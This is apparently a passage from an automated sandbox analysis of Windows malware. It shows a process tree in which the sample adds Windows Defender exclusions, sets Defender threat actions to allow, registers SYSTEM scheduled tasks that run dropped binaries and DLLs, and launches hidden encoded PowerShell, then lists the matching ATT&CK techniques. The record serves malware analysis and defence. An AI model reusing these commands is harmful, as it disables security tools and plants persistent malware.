\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:9816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:10060
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:10104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:10144
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:10164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:10192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:10224
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:9220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:9412
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:9472
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:9508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:9540
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:9568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:9020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6948
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gQlEipIwq" /SC once /ST 00:42:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:8060
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gQlEipIwq"
  2⤵
  PID:8100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gQlEipIwq"
  2⤵
  PID:9808
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "xsEpqqHAgqAwsAroz" /SC once /ST 03:52:47 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OzGbLGa.exe\" za /site_id 668658 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:4644
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "xsEpqqHAgqAwsAroz"
  2⤵
  PID:5824

C:\Users\Admin\AppData\Roaming\dctwccr
C:\Users\Admin\AppData\Roaming\dctwccr
1⤵
PID:5256

C:\Users\Admin\AppData\Roaming\rbtwccr
C:\Users\Admin\AppData\Roaming\rbtwccr
1⤵
PID:8228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:9556

C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OzGbLGa.exe
C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OzGbLGa.exe za /site_id 668658 /S
1⤵
PID:10124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
  2⤵
  PID:10164
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
    3⤵
    PID:10220
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
      4⤵
      PID:3056
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        5⤵
        
        PID:9388
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        6⤵
        
        PID:9816
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bRciptYQhTCMvEFWGJ"
  2⤵
  PID:8928
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:9020
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:9480
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:9616
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:9644
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\STjmdXhOU\OOqUJZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ArGDBXWmyYtLacf" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:9688
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ArGDBXWmyYtLacf2" /F /xml "C:\Program Files (x86)\STjmdXhOU\naMZiXc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:9804
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "ArGDBXWmyYtLacf"
  2⤵
  PID:9780
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ArGDBXWmyYtLacf"
  2⤵
  PID:884
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "dqMFPCMVHmhnSY" /F /xml "C:\Program Files (x86)\gaSWcYIjjvwU2\mnHJTGp.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:6968
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "sOuBCsGGBJoge2" /F /xml "C:\ProgramData\QPFeEjmgnBUOfRVB\NHAiKrr.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:10092
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gdlTlvZfIMOZAvCeb2" /F /xml "C:\Program Files (x86)\YceypsUXabDXnCzNCPR\LINTsYa.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:10028
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "PcFGIyIlUJyYablHCHc2" /F /xml "C:\Program Files (x86)\NMbcPgNClKinC\cVJjRCT.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:7908
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nMmJzTJTMvgDqJXEl" /SC once /ST 05:59:21 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\oOpuNODy\FGinwKF.dll\",#1 /site_id 668658" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:4764
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "nMmJzTJTMvgDqJXEl"
  2⤵
  PID:8488
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "spuzWiWNycIy" /SC once /ST 05:23:11 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iIHAJDAM\zmedGVQ.exe\" 3L /S"
  2⤵
  - Creates scheduled task(s)
  PID:10216
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "spuzWiWNycIy"
  2⤵
  PID:8796

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\oOpuNODy\FGinwKF.dll",#1 /site_id 668658
1⤵
PID:352
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\oOpuNODy\FGinwKF.dll",#1 /site_id 668658
  2⤵
  PID:8952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "nMmJzTJTMvgDqJXEl"
    3⤵
    PID:6408

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iIHAJDAM\zmedGVQ.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iIHAJDAM\zmedGVQ.exe 3L /S
1⤵
PID:9996

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:7716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery